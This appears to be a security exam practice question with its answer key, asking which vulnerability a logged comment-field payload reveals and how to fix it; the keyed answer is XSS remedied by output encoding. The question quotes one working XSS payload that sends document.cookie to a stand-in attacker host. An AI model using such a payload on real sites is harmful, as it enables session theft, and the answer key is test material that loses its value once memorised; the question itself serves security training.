A security analyst reviews web application request logs following a security alert. The log entry shows the following payload submitted via an unauthenticated user comment field:
`comment=<script>window.location='http://attacker.example.com/steal?c='+document.cookie</script>`
Which of the following vulnerabilities is present in the application, and which remediation control best resolves the root cause?
- Cross-Site Scripting (XSS); implement context-aware output encoding and input sanitization.Answer
- BSQL Injection (SQLi); utilize parameterized database queries and prepared statements.
- CCross-Site Scripting (XSS); apply network firewall rule drops for inbound HTTP POST traffic.
- DBroken Authorization; enforce multi-factor authentication (MFA) prior to form submission.
Answer
Cross-Site Scripting (XSS); implement context-aware output encoding and input sanitization.
The submitted payload uses HTML `<script>` tags and browser DOM manipulation (`document.cookie`) to execute code on the victim's client device, which characterizes Cross-Site Scripting (XSS). Implementing context-aware output encoding ensures that characters such as `<` and `>` are safely rendered as text rather than executed as HTML/JavaScript code by the web browser.
Step-by-Step Solution
Key Concept
Cross-Site Scripting (XSS) Identification and Remediation